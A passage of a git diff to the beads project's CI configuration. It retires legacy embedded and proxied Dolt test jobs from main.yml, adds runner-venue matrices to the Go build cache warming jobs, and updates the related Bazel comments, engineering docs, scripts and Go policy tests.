SHA256SUMS - chmod +x bd-linux-gms-pure bd-cmd-test - - - name: Install Dolt CLI - # TestProxiedServerExternalCreate needs the dolt binary on PATH; the - # shared harness itself uses the dolt sql-server container image. - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # The shared proxied harness requires the image cached locally - # (isDoltImageCached); without it every proxied test self-skips. Keep the - # tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test proxied-server cmd shard - # Timeout ordering, same as pr-risk.yml's twin: the test binary's own - # -test.timeout=15m (proxied-test-shard.sh) fires first and dumps - # goroutines, this 16m step timeout only backstops a wedged binary, and - # the 30m job budget absorbs the download/install/pull steps. Without - # the step timeout, slow setup alone can exhaust the job budget and kill - # a healthy test run with nothing to diagnose. - timeout-minutes: 16 - env: - BEADS_TEST_PROXIED_SERVER: "1" - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - BEADS_TEST_CMD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-cmd-test - run: bash .github/scripts/proxied-test-shard.sh ${{ matrix.shard }} 15 - - # Embedded Dolt tests - test the in-process Dolt engine (no server required) - # - # Split into: build → storage tests + parallel cmd test shards. - # cmd/bd embedded tests use a committed shard manifest; newly-added tests - # still auto-distribute via hash fallback until the manifest is updated. - - build-embedded: - name: Build (Embedded Dolt) - needs: detect-ci-tier - if: needs.detect-ci-tier.outputs.full_embedded == 'true' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - id: restore-race-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Build embedded bd binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go build -tags gms_pure_go -race -o /tmp/bd-embedded-test ./cmd/bd/ - - - name: Build embedded storage test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go -race -c -o /tmp/embeddeddolt-test ./internal/storage/embeddeddolt/ - - - name: Build embedded cmd test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/ - - - name: Upload binaries - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: embedded-test-binaries - path: | - /tmp/bd-embedded-test - /tmp/embeddeddolt-test - /tmp/bd-cmd-test - retention-days: 1 - - - name: Save race Go build cache - if: steps.restore-race-go-build-cache.outputs.cache-hit != 'true' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - - test-embedded-storage: - name: Test (Embedded Dolt Storage ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' - runs-on: ubuntu-latest - # The shard script's -test.timeout=20m plus setup. At 15m the 1000-item - # batch-apply cap cancelled shard 2/5: TestBatchApplyContract took 604s - # under -race (97s at the 100-item cap, main run 35862663577) and the - # shard hit 15m twice (PR Risk run 36807191489). The manifest now pins - # the heavy tests apart; the heaviest shard projects to ~13m. - timeout-minutes: 25 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/embeddeddolt-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_EMBEDDED_TEST_BINARY: /tmp/embeddeddolt-test - # Manifest-driven shard of the storage suite (mirrors test-embedded-cmd - # / embedded-test-shard.sh). Conformance runs separately in the - # dedicated test-embedded-conformance job below (mirrors pr-risk.yml); - # embedded-storage-test-shard.sh excludes TestConformance from - # discovery, so it never lands in one of these shards. - run: bash .github/scripts/embedded-storage-test-shard.sh ${{ matrix.shard }} 5 - - test-embedded-conformance: - name: Test (Embedded Dolt Conformance - ${{ matrix.partition }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' - runs-on: ubuntu-latest - timeout-minutes: 35 - strategy: - fail-fast: false - matrix: - partition: [core, audit] - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_EMBEDDED_TEST_BINARY: /tmp/embeddeddolt-test - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/embeddeddolt-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test core conformance - if: matrix.partition == 'core' - # RunAll has a natural Audit seam. Run everything except Audit in the - # core shard and Audit alone in the other shard. The combined suite has - # exceeded 30m under runner variance; each half currently takes ~15m. - # Keep the Go timeout below the job timeout so a real stall still emits - # a diagnostic goroutine dump before Actions stops the job. - run: /tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$' -test.skip '^TestConformance$/^Audit$' - - - name: Test audit conformance - if: matrix.partition == 'audit' - run: /tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$/^Audit$' - - test-embedded-cmd: - name: Test (Embedded Dolt Cmd ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/bd-embedded-test /tmp/embeddeddolt-test /tmp/bd-cmd-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_BD_BINARY: /tmp/bd-embedded-test - run: bash .github/scripts/embedded-test-shard.sh ${{ matrix.shard }} 20 + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} # Windows smoke tests only - full test suite times out (see bd-bmev) # Linux/macOS run comprehensive tests; Windows just verifies binary works @@ -1572,24 +847,19 @@ jobs: # F7b: pr.yml's scripts-go-checks moved to same-repo Blacksmith # (blacksmith-4vcpu-ubuntu-2404); this is that path's saver for the race and # non-race GOCACHEs its scripts-test and allowlisted legs restore (the vet - # leg is already covered by go-vet-cache's venue matrix above). Mirrors - # build-artifacts (non-race, fork/github path) and build-embedded (race, - # fork/github path): Blacksmith runners cannot see caches `actions/cache` - # saved from a GitHub-hosted runner (and vice versa) even for an identical - # key, so without this every same-repo PR's scripts-go-checks race/non-race - # legs would stay cold forever. + # leg is already covered by go-vet-cache's venue matrix above). Blacksmith + # runners cannot see caches `actions/cache` saved from a GitHub-hosted + # runner (and vice versa) even for an identical key, so without this every + # same-repo PR's scripts-go-checks race/non-race legs would stay cold + # forever. # - # Unlike pr-lint-wrapper/go-vet-cache above, this job has no `venue` matrix - # dimension and runs on Blacksmith only: build-artifacts/build-embedded - # already seed the ubuntu-latest (fork) leg's non-race/race caches - # respectively, so a second ubuntu-latest leg here would be a redundant, - # wasted run. `${{ '...' }}` (rather than a bare literal) is required for - # actionlint: a literal self-hosted label in `runs-on` fails validation, - # but actionlint treats any `${{ }}` expression, even one it could in - # principle resolve to a constant, as dynamic and skips the check — the - # same reason every other Blacksmith `runs-on` in this repo uses this form. - # main.yml only triggers on push to main (already trusted), so this - # intentionally has no fork/dependabot fallback branch. + # The `venue` matrix also seeds the ubuntu-latest (fork/Dependabot) path's + # race cache, which the legacy embedded build used to save before Bazel + # took over that tier on push; build-artifacts still seeds that path's + # non-race cache, so the github x non-race leg is excluded as redundant. + # The ternary `runs-on` form (rather than a literal Blacksmith label) is + # required for actionlint, same as every other Blacksmith `runs-on` here. + # main.yml only triggers on push to main (already trusted). # # F7b review fix (B2): pin push-to-main-only at the job level too, not just # via this workflow's current `on: push` trigger (same defense-in-depth @@ -1600,14 +870,19 @@ jobs: # of this Blacksmith cache namespace). Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest. blacksmith-go-build-cache: - name: Warm Blacksmith Go build cache (${{ matrix.flavor }}) - runs-on: ${{ 'blacksmith-4vcpu-ubuntu-2404' }} + name: Warm Go build cache (${{ matrix.flavor }}, ${{ matrix.venue }}) + runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' timeout-minutes: 20 strategy: fail-fast: false matrix: flavor: [race, non-race] + venue: [blacksmith, github] + # build-artifacts seeds the GitHub-hosted non-race cache. + exclude: + - flavor: non-race + venue: github steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1695,27 +970,32 @@ jobs: path: ${{ runner.temp }}/go-cache/non-race key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # Blacksmith macOS saver: pr.yml's pr-preflight-platforms and + # macOS saver: pr.yml's pr-preflight-platforms and # check-doc-freshness-platforms macOS legs run on blacksmith-6vcpu-macos-26 - # for same-repo PRs/merge_group, and Blacksmith runners cannot see the - # macOS caches the GitHub-hosted `test` job's macOS leg saves above (that - # leg keeps seeding the fork/Dependabot macos-latest path). This job is - # their only seeder, on the exact same label, and runs only the shared - # warm-up those legs compile (warm-non-race-cache.sh, the same script the - # Linux/Windows/GitHub-macOS seeders use) plus the non-test ./cmd/bd build - # the GitHub macOS leg also warms -- no tests, so it stays a few minutes of - # Blacksmith macOS time per push. Same push-to-main-only job guard (B2) and - # go.sum + UTC-day cache keys (S7) as blacksmith-go-build-cache, so a - # same-repo PR can never write this namespace and ordinary push traffic - # writes at most one non-race entry per day. Pinned by + # for same-repo PRs/merge_group and on macos-latest for fork/Dependabot PRs, + # and Blacksmith and GitHub-hosted runners cannot see each other's + # actions/cache entries, so the `venue` matrix seeds both (same convention as + # pr-lint-wrapper/go-vet-cache/test-windows). This job is their only seeder + # (and the Blacksmith leg also seeds the `test` job's module and non-race + # caches), and runs only the shared warm-up those legs compile + # (warm-non-race-cache.sh, the same script the Linux/Windows seeders use) + # plus the non-test ./cmd/bd build -- no tests, so it stays a few minutes of + # macOS time per push. Same push-to-main-only job guard (B2) and go.sum + + # UTC-day cache keys (S7) as blacksmith-go-build-cache, so a PR can never + # write this namespace and ordinary push traffic writes at most one + # non-race entry per day per venue. Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest, # TestBlacksmithSaverCacheKeysAreNotPerCommit and # TestBlacksmithMacOSSaverMatchesPRLegs. blacksmith-macos-go-build-cache: - name: Warm Blacksmith Go build cache (macOS) - runs-on: ${{ 'blacksmith-6vcpu-macos-26' }} + name: Warm macOS Go build cache (${{ matrix.venue }}) + runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-6vcpu-macos-26' || 'macos-latest' }} if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' timeout-minutes: 20 + strategy: + fail-fast: false + matrix: + venue: [blacksmith, github] steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1746,8 +1026,9 @@ jobs: key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - # Records the image's toolchain in the log so a Blacksmith image drift - # (vs. GitHub's macos-26-arm64) is visible next to the cache it seeds. + # Records each venue's toolchain in the log so an image drift between + # Blacksmith and GitHub's macos-latest is visible next to the cache it + # seeds. - name: Check macOS toolchain diagnostics run: | sw_vers diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 1981a0d40..624205455 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1381,7 +1381,7 @@ go_test( # against this configuration's bd_test with BEADS_TEST_EMBEDDED_DOLT=1 and # the race bd (//cmd/bd:bd under --config=embedded) as the subprocess # binary. This is a *different* shard count from PR Risk's legacy fork/push -# jobs, "Test (Embedded Dolt Cmd N/20)" (pr-risk.yml, main.yml): those keep +# jobs, "Test (Embedded Dolt Cmd N/20)" (pr-risk.yml): those keep # running 20 shards of their own, frozen hand-assigned block in the same # manifest file — shard k here is not the same split as their shard k. It # repeats bd_test's `env` (the wrapper cannot inherit it). shard_count must @@ -1429,12 +1429,10 @@ sh_test( # (race) bd_test with BEADS_TEST_PROXIED_SERVER=1 and the non-race # bd_for_tests as the subprocess binary. This is a *different* shard count # from PR Risk's legacy fork/push jobs, "Test (Proxied Dolt Cmd N/15)" -# (pr-risk.yml, main.yml): those keep running 15 shards of their own, +# (pr-risk.yml): those keep running 15 shards of their own, # frozen bd-init-cost-proxy block in the same manifest file — shard k here # is not the same split as their shard k. PR Risk builds its bd-cmd-test -# with -race, as here; main.yml's test-proxied-cmd twin uses -# build-artifacts' non-race bd-cmd-test, so this lane is the stricter of -# the two. The shared proxied harness gets its dolt sql-server from +# with -race, as here. The shared proxied harness gets its dolt sql-server from # internal/testutil's local backend (the pinned dolt in the test # wrapper's runfiles) instead of the jobs' container, and fails instead # of skipping when it cannot start one. It repeats bd_test's `env`. @@ -1496,8 +1494,8 @@ sh_test( # instead of skipping every Dolt-gated test into a cached pass. These are # the cmd/bd tests no other lane runs: every other configuration of bd_test # passes BEADS_TEST_SKIP=dolt (prcore/ci, integration) or runs only its -# manifest (bd_embedded_test, bd_proxied_test), and so do main.yml's and -# nightly.yml's go test jobs. No -test.run/-test.skip: the Go binary shards +# manifest (bd_embedded_test, bd_proxied_test), and so does nightly.yml's +# go test job. No -test.run/-test.skip: the Go binary shards # itself over every top-level test (rules_go's TEST_SHARD_INDEX), so each # runs in exactly one shard, and check_testcases.py fails a shard that ran # none. It repeats bd_test's `env` (the wrapper cannot inherit it). diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 57102cc1f..091d58be6 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -72,7 +72,7 @@ Current PR-related workflow names: A lane that should run and fails, is cancelled, or reports no result fails the gate, and so does a missing or invalid mode. `bazel-integration` (`bazel test //... --config=integration`, the Bazel - twin of `main.yml`'s Linux integration shards) is required on every PR: + successor of `main.yml`'s former Linux integration shards) is required on every PR: `pr.yml` passes `integration: "on"` (policy-pinned), so it runs in modes `remote` (same-repo PRs) and `fork-ro`/`fork-rw` (fork and Dependabot PRs while rbe-fork is open), and in mode `cache` (fork and Dependabot PRs @@ -1016,7 +1016,9 @@ manifests. On those PRs they are the tiers' only pre-merge run, and only run of each retired tier and `CI Gate / Required` is red unless they ran remotely and passed (see [Merge Queue](#merge-queue)). - `main.yml`'s embedded and proxied jobs on push to `main` are untouched. + On push to `main`, `bazel.yml`'s push run is the only run of these tiers + (`main.yml`'s legacy embedded, proxied, integration, domain+uow and Linux + unit jobs were removed, ga-96smfk.14). - How: - `pr-risk.yml` and `pr.yml` each run the identical `bazel-coverage` job (policy-tested). The job does no checkout and runs no repository code. @@ -1077,9 +1079,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and default branch (`main`) only. On PRs into `release/**` both workflows run and report, but merging does not wait for them, before or after this change. Without the merge queue rule and with `strict` off, no - pre-merge run catches a gap; only `main.yml`'s embedded and proxied jobs - and `bazel.yml`'s push run do, after merge (`main.yml` has no server-Dolt - storage jobs; `bazel.yml`'s push run covers that tier). + pre-merge run catches a gap; only `bazel.yml`'s push run does, after + merge. - Lane hardening that the retirement relies on, for `bazel-embedded`, `bazel-proxied` and `bazel-server-storage` alike (policy-tested in `scripts/ci_workflow_test.go` and `scripts/pr_risk_bazel_coverage_test.go`): @@ -1260,8 +1261,10 @@ macOS jobs; `release.yml`, `nightly.yml` and `ci-measurements.yml` stay on main.yml's `blacksmith-macos-go-build-cache` job is their seeder: same label, push-to-main-only job guard, module cache plus a non-race GOCACHE keyed by `go.sum` and UTC day, warmed by the shared - `scripts/ci/warm-non-race-cache.sh`. main.yml's `test` job macOS leg (the - GitHub-hosted full suite) is unchanged and still seeds the fork path. + `scripts/ci/warm-non-race-cache.sh`. Its `github` venue leg seeds the + fork path (`macos-latest`) the same way; main.yml's `test` job (the macOS + full suite) runs on the same Blacksmith label and restores the Blacksmith + leg's caches. - **Pins.** `TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics`, `TestBlacksmithMacOSSaverMatchesPRLegs`, `TestBlacksmithSaverJobsGuardedAgainstPullRequest`, diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index d420dc716..6d9fad283 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -125,7 +125,7 @@ go_library( # this package with a real `go test -c` (integration.SubprocessRunner), which # needs the module's source tree and a module cache no action has. They run # only against a server: skipped under --config=integration -# (BEADS_TEST_SKIP=dolt, like main.yml's integration jobs), and run by +# (BEADS_TEST_SKIP=dolt, like nightly.yml's full test), and run by # dolt_server_full_test, which hands SubprocessRunner its own test binary # (BEADS_TEST_SUBPROCESS_BINARY) instead. go_test( diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index c07059454..56949ee3c 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -270,8 +270,8 @@ go_test( # BEADS_TEST_EMBEDDED_DOLT=1; the wrapper points # BEADS_TEST_EMBEDDED_TEST_BINARY at this binary, which the concurrency test # re-executes. This is a *different* shard count from PR Risk's legacy -# fork/push jobs, "Test (Embedded Dolt Storage N/5)" (pr-risk.yml, -# main.yml): those keep running 5 shards of their own, frozen hand-assigned +# fork jobs, "Test (Embedded Dolt Storage N/5)" (pr-risk.yml): those keep +# running 5 shards of their own, frozen hand-assigned # block in the same manifest file — shard k here is not the same split as # their shard k. shard_count must stay equal to this lane's manifest # block's shard total. diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index acc5ae0b7..f4eb0b6d4 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -1468,8 +1468,10 @@ func sameTagSet(a, b map[string]bool) bool { } // TestBazelIntegrationLaneMatchesMainWorkflow keeps --config=integration in -// step with main.yml's "Main Linux integration" jobs: the same build tags, -// race, BEADS_TEST_SKIP=dolt, and none of the variants those jobs do not run. +// step with the integration-tagged `go test` it replaced on push to main +// (main.yml's former "Main Linux integration" jobs), whose one remaining Go +// twin is nightly.yml's Full Test Suite: the same build tags, race, +// BEADS_TEST_SKIP=dolt, and none of the variants that run does not use. // It also requires gazelle to see the same tags (root BUILD.bazel // `gazelle:build_tags`): gazelle drops a file whose build constraint names a // tag it does not know, so without it no BUILD file would list the integration @@ -1478,17 +1480,21 @@ func sameTagSet(a, b map[string]bool) bool { // through `make bazel-sync`, whose staleness bazel.yml already fails on. func TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { root := bazelPolicyRoot(t) - mainYML := readPolicyFile(t, root, ".github/workflows/main.yml") - jobTags := regexp.MustCompile(`-race -tags=(\S+) -timeout=30m`).FindAllStringSubmatch(mainYML, -1) - if len(jobTags) != 2 { - t.Fatalf("main.yml: want the two integration jobs' `go test -race -tags=... -timeout=30m`, found %d", len(jobTags)) + nightly := readCIWorkflow(t, "nightly.yml").job(t, "full-test") + var want map[string]bool + for _, step := range nightly.Steps { + if m := regexp.MustCompile(`go test .*-race -tags=(\S+) .*-timeout=30m \./\.\.\.`).FindStringSubmatch(step.Run); m != nil { + if want != nil { + t.Fatalf("nightly.yml full-test: more than one integration `go test -race -tags=...` step") + } + want = tagSet(m[1]) + if step.Env["BEADS_TEST_SKIP"] != "dolt" { + t.Fatal("nightly.yml full-test no longer runs with BEADS_TEST_SKIP=dolt; update test:integration") + } + } } - want := tagSet(jobTags[0][1]) - if !want["integration"] || !sameTagSet(want, tagSet(jobTags[1][1])) { - t.Fatalf("main.yml integration jobs' tags differ or lack integration: %q, %q", jobTags[0][1], jobTags[1][1]) - } - if strings.Count(mainYML, "env BEADS_TEST_SKIP=dolt gotestsum") < 2 { - t.Fatal("main.yml integration jobs no longer run with BEADS_TEST_SKIP=dolt; update test:integration") + if !want["integration"] { + t.Fatalf("nightly.yml full-test: want one `go test -race -tags=...integration... -timeout=30m ./...` step, got tags %v", want) } bazelrc := readPolicyFile(t, root, ".bazelrc") @@ -1502,7 +1508,7 @@ func TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { } } if !sameTagSet(laneTags, want) { - t.Errorf(".bazelrc build:integration tags = %v, want main.yml's %v", laneTags, want) + t.Errorf(".bazelrc build:integration tags = %v, want nightly.yml full-test's %v", laneTags, want) } if err := checkBazelrcIntegrationLane(bazelrc); err != nil { t.Error(err) diff --git a/scripts/ci/pr-core.sh b/scripts/ci/pr-core.sh index f36eb1d1f..8c66241bc 100755 --- a/scripts/ci/pr-core.sh +++ b/scripts/ci/pr-core.sh @@ -27,8 +27,7 @@ GO_TEST_PARALLEL="${GO_TEST_PARALLEL:-4}" # just under). No single test is at fault, so the panic names whichever one was # in flight and reads like a hang when it is really the whole package running out # of clock. 30m is what every other -race lane here already gives this same code: -# main.yml's integration package and cmd/bd shards, ci-measurements.yml, -# nightly.yml. Splitting or de-slowing cmd/bd is the real fix and belongs on main +# main.yml's macOS test job, ci-measurements.yml, nightly.yml. Splitting or de-slowing cmd/bd is the real fix and belongs on main # — this only stops the clock from being the thing that fails. # BEADS_PR_CORE_GO_TEST_JSON=: same run, `go test -json` output to # (nightly.yml feeds it to tools/bazel/equivalence.py --go-test-json). diff --git a/scripts/ci/warm-non-race-cache.sh b/scripts/ci/warm-non-race-cache.sh index a86f41c27..8031511a9 100755 --- a/scripts/ci/warm-non-race-cache.sh +++ b/scripts/ci/warm-non-race-cache.sh @@ -10,10 +10,9 @@ # - main.yml's blacksmith-go-build-cache (Blacksmith / same-repo-PR path # non-race save) # - main.yml's test-windows (Windows non-race save) -# - main.yml's test macOS leg (GitHub-hosted macOS non-race save; the -# fork/Dependabot path of pr.yml's macOS legs) -# - main.yml's blacksmith-macos-go-build-cache (Blacksmith macOS non-race -# save; the same-repo-PR path of pr.yml's macOS legs) +# - main.yml's blacksmith-macos-go-build-cache (macOS non-race save: its +# github leg the fork/Dependabot path of pr.yml's macOS legs, its +# blacksmith leg the same-repo-PR path) # # Package list mirrors exactly what pr.yml's check-doc-freshness-platforms and # pr-preflight-platforms legs compile on every OS: diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index 562fe6a34..54df07b92 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -69,10 +69,11 @@ func TestBlacksmithReachablePRJobsDisableDefaultCachingActions(t *testing.T) { // Blacksmith-selection GOCACHE/vet-cache a same-repo PR or merge_group job // above restores from. F7c's blacksmith-setup-go-cache is pinned by its own // TestBlacksmithSeederGuardedAgainstPullRequest in ci_f7c_advisory_test.go; -// these are F7b's four (B2) plus the Blacksmith macOS saver. +// these are F7b's four (B2), the macOS saver, and the Blacksmith macOS +// `test` job (which saves its own race cache). var blacksmithSaverJobs = []string{ "blacksmith-go-build-cache", "pr-lint-wrapper", "go-vet-cache", "test-windows", - "blacksmith-macos-go-build-cache", + "blacksmith-macos-go-build-cache", "test", } // TestBlacksmithSaverJobsGuardedAgainstPullRequest is the B2 fix's pin: each @@ -172,6 +173,11 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { restoreStepNames: []string{"Restore non-race Go build cache"}, saveStepNames: []string{"Save non-race Go build cache"}, }, + { + job: "test", + restoreStepNames: []string{"Restore non-race Go build cache", "Restore race Go build cache"}, + saveStepNames: []string{"Save race Go build cache"}, + }, } for _, c := range cases { @@ -202,7 +208,8 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete re-pins mutations the // reviewer's mutate.py found surviving against pre-fix code (M8, M9): main.yml's -// three "venue matrix" savers (pr-lint-wrapper, go-vet-cache, test-windows) +// "venue matrix" savers (pr-lint-wrapper, go-vet-cache, test-windows, and the +// Linux and macOS Go build cache savers) // must each keep BOTH the `blacksmith` leg (the actual same-repo-PR seed) and // the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage), // and blacksmith-go-build-cache's `flavor` matrix must keep both `race` and @@ -212,7 +219,7 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // axis's value list shrinks). func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") - for _, jobName := range []string{"pr-lint-wrapper", "go-vet-cache", "test-windows"} { + for _, jobName := range []string{"pr-lint-wrapper", "go-vet-cache", "test-windows", "blacksmith-go-build-cache", "blacksmith-macos-go-build-cache"} { job := workflow.job(t, jobName) if got := job.Strategy.Matrix.Venue; !equalStrings(got, []string{"blacksmith", "github"}) { t.Errorf("main.yml's %s matrix.venue = %v, want [blacksmith github]", jobName, got) @@ -331,10 +338,10 @@ func TestCompileOnlyUsesBuildFlagsConstant(t *testing.T) { var blacksmithMacOSPRLegJobs = []string{"pr-preflight-platforms", "check-doc-freshness-platforms"} // TestBlacksmithMacOSSaverMatchesPRLegs pins the contract between pr.yml's -// Blacksmith macOS PR legs and their only seeder, main.yml's +// macOS PR legs and their only seeder, main.yml's // blacksmith-macos-go-build-cache: Blacksmith cannot see GitHub-saved caches -// (and vice versa), so the saver must run on exactly the label a same-repo -// PR's macOS leg resolves to, write the cache path/key family those legs +// (and vice versa), so the saver must run on exactly the labels a same-repo +// and a fork PR's macOS leg resolve to, write the cache path/key family those legs // restore, and compile what they compile (the shared warm-up). The PR legs // stay restore-only and are inside the default-caching-action sweep. func TestBlacksmithMacOSSaverMatchesPRLegs(t *testing.T) { @@ -351,11 +358,22 @@ func TestBlacksmithMacOSSaverMatchesPRLegs(t *testing.T) { "matrix.runner": "same-repo-macos", "matrix.os": "macos-latest", } - if want := "${{ '" + blacksmithMacOSLabel + "' }}"; saver.RunsOn != want { + forkMacOS := map[string]string{ + "github.event_name": "pull_request", + "github.event.pull_request.head.repo.full_name": "someone/beads", + "github.repository": ownRepo, + "github.actor": "someone", + "matrix.runner": "same-repo-macos", + "matrix.os": macOSRunner, + } + // One leg per venue: the Blacksmith leg seeds same-repo PRs, the github + // leg the fork/Dependabot macos-latest path. + if want := "${{ matrix.venue == 'blacksmith' && '" + blacksmithMacOSLabel + "' || '" + macOSRunner + "' }}"; saver.RunsOn != want { t.Errorf("blacksmith-macos-go-build-cache runs-on = %q, want %q", saver.RunsOn, want) } - if saver.TimeoutMinutes == 0 || len(saver.Strategy.Matrix.Include) != 0 { - t.Errorf("blacksmith-macos-go-build-cache timeout=%d include=%v, want a timeout and a single 